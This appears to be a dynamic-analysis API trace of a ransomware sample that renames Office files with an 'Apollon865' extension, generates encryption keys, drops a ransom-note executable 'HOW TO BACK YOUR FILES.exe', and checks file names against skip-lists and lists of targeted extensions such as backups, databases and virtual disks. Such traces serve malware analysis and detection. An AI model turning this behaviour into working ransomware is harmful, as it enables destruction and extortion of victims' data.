	[0067.423] lstrcmpiW (lpString1="EBARBB.POC", lpString2="Apollon865") returned 1
	[0067.423] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIDEBARVERTBB.DPV" | out: lpString1="SIDEBARVERTBB.DPV") returned="SIDEBARVERTBB.DPV"
	[0067.423] lstrlenW (lpString="SIDEBARVERTBB.DPV") returned 17
	[0067.423] lstrlenW (lpString="Apollon865") returned 10
	[0067.423] lstrcmpiW (lpString1="VERTBB.DPV", lpString2="Apollon865") returned 1
	[0067.423] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIDEBARVERTBB.POC" | out: lpString1="SIDEBARVERTBB.POC") returned="SIDEBARVERTBB.POC"
	[0067.423] lstrlenW (lpString="SIDEBARVERTBB.POC") returned 17
	[0067.423] lstrlenW (lpString="Apollon865") returned 10
	[0067.423] lstrcmpiW (lpString1="VERTBB.POC", lpString2="Apollon865") returned 1
	[0067.424] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIGN.DPV" | out: lpString1="SIGN.DPV") returned="SIGN.DPV"
	[0067.424] lstrlenW (lpString="SIGN.DPV") returned 8
	[0067.424] lstrlenW (lpString="Apollon865") returned 10
	[0067.424] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIGN.XML" | out: lpString1="SIGN.XML") returned="SIGN.XML"
	[0067.424] lstrlenW (lpString="SIGN.XML") returned 8
	[0067.424] lstrlenW (lpString="Apollon865") returned 10
	[0067.424] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.Apollon865") returned 69
	[0067.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.429] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10932) returned 1
	[0067.429] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.429] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.429] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.432] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.432] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.432] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.433] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIGN98.POC" | out: lpString1="SIGN98.POC") returned="SIGN98.POC"
	[0067.433] lstrlenW (lpString="SIGN98.POC") returned 10
	[0067.433] lstrlenW (lpString="Apollon865") returned 10
	[0067.433] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIGNHM.POC" | out: lpString1="SIGNHM.POC") returned="SIGNHM.POC"
	[0067.433] lstrlenW (lpString="SIGNHM.POC") returned 10
	[0067.433] lstrlenW (lpString="Apollon865") returned 10
	[0067.433] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SNIPE.POC" | out: lpString1="SNIPE.POC") returned="SNIPE.POC"
	[0067.433] lstrlenW (lpString="SNIPE.POC") returned 9
	[0067.433] lstrlenW (lpString="Apollon865") returned 10
	[0067.433] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="STORYBB.DPV" | out: lpString1="STORYBB.DPV") returned="STORYBB.DPV"
	[0067.434] lstrlenW (lpString="STORYBB.DPV") returned 11
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="TORYBB.DPV", lpString2="Apollon865") returned 1
	[0067.434] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="STORYBB.POC" | out: lpString1="STORYBB.POC") returned="STORYBB.POC"
	[0067.434] lstrlenW (lpString="STORYBB.POC") returned 11
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="TORYBB.POC", lpString2="Apollon865") returned 1
	[0067.434] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="STORYVERTBB.DPV" | out: lpString1="STORYVERTBB.DPV") returned="STORYVERTBB.DPV"
	[0067.434] lstrlenW (lpString="STORYVERTBB.DPV") returned 15
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="VERTBB.DPV", lpString2="Apollon865") returned 1
	[0067.434] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="STORYVERTBB.POC" | out: lpString1="STORYVERTBB.POC") returned="STORYVERTBB.POC"
	[0067.434] lstrlenW (lpString="STORYVERTBB.POC") returned 15
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="VERTBB.POC", lpString2="Apollon865") returned 1
	[0067.434] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="STRBRST.POC" | out: lpString1="STRBRST.POC") returned="STRBRST.POC"
	[0067.434] lstrlenW (lpString="STRBRST.POC") returned 11
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="TRBRST.POC", lpString2="Apollon865") returned 1
	[0067.434] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="TEAROFF.POC" | out: lpString1="TEAROFF.POC") returned="TEAROFF.POC"
	[0067.434] lstrlenW (lpString="TEAROFF.POC") returned 11
	[0067.434] lstrlenW (lpString="Apollon865") returned 10
	[0067.434] lstrcmpiW (lpString1="EAROFF.POC", lpString2="Apollon865") returned 1
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="TOC98.POC" | out: lpString1="TOC98.POC") returned="TOC98.POC"
	[0067.435] lstrlenW (lpString="TOC98.POC") returned 9
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WCOMP98.POC" | out: lpString1="WCOMP98.POC") returned="WCOMP98.POC"
	[0067.435] lstrlenW (lpString="WCOMP98.POC") returned 11
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcmpiW (lpString1="COMP98.POC", lpString2="Apollon865") returned 1
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEB11.POC" | out: lpString1="WEB11.POC") returned="WEB11.POC"
	[0067.435] lstrlenW (lpString="WEB11.POC") returned 9
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBCALSO.POC" | out: lpString1="WEBCALSO.POC") returned="WEBCALSO.POC"
	[0067.435] lstrlenW (lpString="WEBCALSO.POC") returned 12
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcmpiW (lpString1="BCALSO.POC", lpString2="Apollon865") returned 1
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBEMAIL.POC" | out: lpString1="WEBEMAIL.POC") returned="WEBEMAIL.POC"
	[0067.435] lstrlenW (lpString="WEBEMAIL.POC") returned 12
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcmpiW (lpString1="BEMAIL.POC", lpString2="Apollon865") returned 1
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBHED98.POC" | out: lpString1="WEBHED98.POC") returned="WEBHED98.POC"
	[0067.435] lstrlenW (lpString="WEBHED98.POC") returned 12
	[0067.435] lstrlenW (lpString="Apollon865") returned 10
	[0067.435] lstrcmpiW (lpString1="BHED98.POC", lpString2="Apollon865") returned 1
	[0067.435] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBHOME.POC" | out: lpString1="WEBHOME.POC") returned="WEBHOME.POC"
	[0067.436] lstrlenW (lpString="WEBHOME.POC") returned 11
	[0067.436] lstrlenW (lpString="Apollon865") returned 10
	[0067.436] lstrcmpiW (lpString1="EBHOME.POC", lpString2="Apollon865") returned 1
	[0067.436] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBLINK.POC" | out: lpString1="WEBLINK.POC") returned="WEBLINK.POC"
	[0067.436] lstrlenW (lpString="WEBLINK.POC") returned 11
	[0067.436] lstrlenW (lpString="Apollon865") returned 10
	[0067.436] lstrcmpiW (lpString1="EBLINK.POC", lpString2="Apollon865") returned 1
	[0067.436] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBPAGE.DPV" | out: lpString1="WEBPAGE.DPV") returned="WEBPAGE.DPV"
	[0067.436] lstrlenW (lpString="WEBPAGE.DPV") returned 11
	[0067.436] lstrlenW (lpString="Apollon865") returned 10
	[0067.436] lstrcmpiW (lpString1="EBPAGE.DPV", lpString2="Apollon865") returned 1
	[0067.436] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WEBPAGE.XML" | out: lpString1="WEBPAGE.XML") returned="WEBPAGE.XML"
	[0067.436] lstrlenW (lpString="WEBPAGE.XML") returned 11
	[0067.436] lstrlenW (lpString="Apollon865") returned 10
	[0067.436] lstrcmpiW (lpString1="EBPAGE.XML", lpString2="Apollon865") returned 1
	[0067.436] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.Apollon865") returned 72
	[0067.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.438] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=15722) returned 1
	[0067.438] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.439] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.439] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.442] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.443] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.443] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.443] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WITHCOMP.DPV" | out: lpString1="WITHCOMP.DPV") returned="WITHCOMP.DPV"
	[0067.443] lstrlenW (lpString="WITHCOMP.DPV") returned 12
	[0067.443] lstrlenW (lpString="Apollon865") returned 10
	[0067.443] lstrcmpiW (lpString1="THCOMP.DPV", lpString2="Apollon865") returned 1
	[0067.443] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WITHCOMP.XML" | out: lpString1="WITHCOMP.XML") returned="WITHCOMP.XML"
	[0067.443] lstrlenW (lpString="WITHCOMP.XML") returned 12
	[0067.443] lstrlenW (lpString="Apollon865") returned 10
	[0067.443] lstrcmpiW (lpString1="THCOMP.XML", lpString2="Apollon865") returned 1
	[0067.444] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.Apollon865") returned 73
	[0067.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.445] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5910) returned 1
	[0067.445] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.446] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.446] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.448] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.449] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.449] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.449] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WORDREP.DPV" | out: lpString1="WORDREP.DPV") returned="WORDREP.DPV"
	[0067.449] lstrlenW (lpString="WORDREP.DPV") returned 11
	[0067.449] lstrlenW (lpString="Apollon865") returned 10
	[0067.449] lstrcmpiW (lpString1="ORDREP.DPV", lpString2="Apollon865") returned 1
	[0067.449] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WORDREP.XML" | out: lpString1="WORDREP.XML") returned="WORDREP.XML"
	[0067.449] lstrlenW (lpString="WORDREP.XML") returned 11
	[0067.449] lstrlenW (lpString="Apollon865") returned 10
	[0067.450] lstrcmpiW (lpString1="ORDREP.XML", lpString2="Apollon865") returned 1
	[0067.450] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.Apollon865") returned 72
	[0067.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.451] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6228) returned 1
	[0067.451] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.451] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.451] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.453] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.454] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.454] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.455] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WPULQT98.POC" | out: lpString1="WPULQT98.POC") returned="WPULQT98.POC"
	[0067.455] lstrlenW (lpString="WPULQT98.POC") returned 12
	[0067.455] lstrlenW (lpString="Apollon865") returned 10
	[0067.455] lstrcmpiW (lpString1="ULQT98.POC", lpString2="Apollon865") returned 1
	[0067.455] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WSIDBR98.POC" | out: lpString1="WSIDBR98.POC") returned="WSIDBR98.POC"
	[0067.455] lstrlenW (lpString="WSIDBR98.POC") returned 12
	[0067.455] lstrlenW (lpString="Apollon865") returned 10
	[0067.455] lstrcmpiW (lpString1="IDBR98.POC", lpString2="Apollon865") returned 1
	[0067.455] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA"
	[0067.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a2e0 | out: hHeap=0x580000) returned 1
	[0067.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0067.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned 48
	[0067.455] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA"
	[0067.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4048ad70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4048ad70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.462] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.462] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4048ad70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4048ad70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.462] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.462] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.462] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4048ad70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4048ad70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.462] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="Apollon865.txt.exe") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2=".") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="..") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="windows") returned -1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="bootmgr") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="temp") returned -1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="pagefile.sys") returned -1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="boot") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="ids.txt") returned 1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="ntuser.dat") returned -1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="perflogs") returned -1
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2="MSBuild") returned 1
	[0067.463] lstrlenW (lpString="MSPUB10.BDR") returned 11
	[0067.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*") returned 50
	[0067.463] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB10.BDR" | out: lpString1="MSPUB10.BDR") returned="MSPUB10.BDR"
	[0067.463] lstrlenW (lpString="MSPUB10.BDR") returned 11
	[0067.463] lstrlenW (lpString="Apollon865") returned 10
	[0067.463] lstrcmpiW (lpString1="SPUB10.BDR", lpString2="Apollon865") returned 1
	[0067.463] lstrlenW (lpString=".dll") returned 4
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2=".dll") returned 1
	[0067.463] lstrlenW (lpString=".lnk") returned 4
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2=".lnk") returned 1
	[0067.463] lstrlenW (lpString=".ini") returned 4
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2=".ini") returned 1
	[0067.463] lstrlenW (lpString=".sys") returned 4
	[0067.463] lstrcmpiW (lpString1="MSPUB10.BDR", lpString2=".sys") returned 1
	[0067.463] lstrlenW (lpString="MSPUB10.BDR") returned 11
	[0067.463] lstrlenW (lpString="bak") returned 3
	[0067.463] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1
	[0067.463] lstrlenW (lpString="ba_") returned 3
	[0067.463] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1
	[0067.463] lstrlenW (lpString="dbb") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1
	[0067.464] lstrlenW (lpString="vmdk") returned 4
	[0067.464] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1
	[0067.464] lstrlenW (lpString="rar") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1
	[0067.464] lstrlenW (lpString="zip") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1
	[0067.464] lstrlenW (lpString="tgz") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1
	[0067.464] lstrlenW (lpString="vbox") returned 4
	[0067.464] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1
	[0067.464] lstrlenW (lpString="vdi") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1
	[0067.464] lstrlenW (lpString="vhd") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1
	[0067.464] lstrlenW (lpString="vhdx") returned 4
	[0067.464] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1
	[0067.464] lstrlenW (lpString="avhd") returned 4
	[0067.464] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1
	[0067.464] lstrlenW (lpString="db") returned 2
	[0067.464] lstrcmpiW (lpString1="DR", lpString2="db") returned 1
	[0067.464] lstrlenW (lpString="db2") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1
	[0067.464] lstrlenW (lpString="db3") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1
	[0067.464] lstrlenW (lpString="dbf") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1
	[0067.464] lstrlenW (lpString="mdf") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1
	[0067.464] lstrlenW (lpString="mdb") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1
	[0067.464] lstrlenW (lpString="sql") returned 3
	[0067.464] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1
	[0067.464] lstrlenW (lpString="sqlite") returned 6
	[0067.464] lstrcmpiW (lpString1="10.BDR", lpString2="sqlite") returned -1
	[0067.464] lstrlenW (lpString="sqlite3") returned 7
	[0067.464] lstrcmpiW (lpString1="B10.BDR", lpString2="sqlite3") returned -1
	[0067.465] lstrlenW (lpString="sqlitedb") returned 8
	[0067.465] lstrcmpiW (lpString1="UB10.BDR", lpString2="sqlitedb") returned 1
	[0067.465] lstrlenW (lpString="xml") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1
	[0067.465] lstrlenW (lpString="$er") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1
	[0067.465] lstrlenW (lpString="4dd") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1
	[0067.465] lstrlenW (lpString="4dl") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1
	[0067.465] lstrlenW (lpString="^^^") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1
	[0067.465] lstrlenW (lpString="abs") returned 3
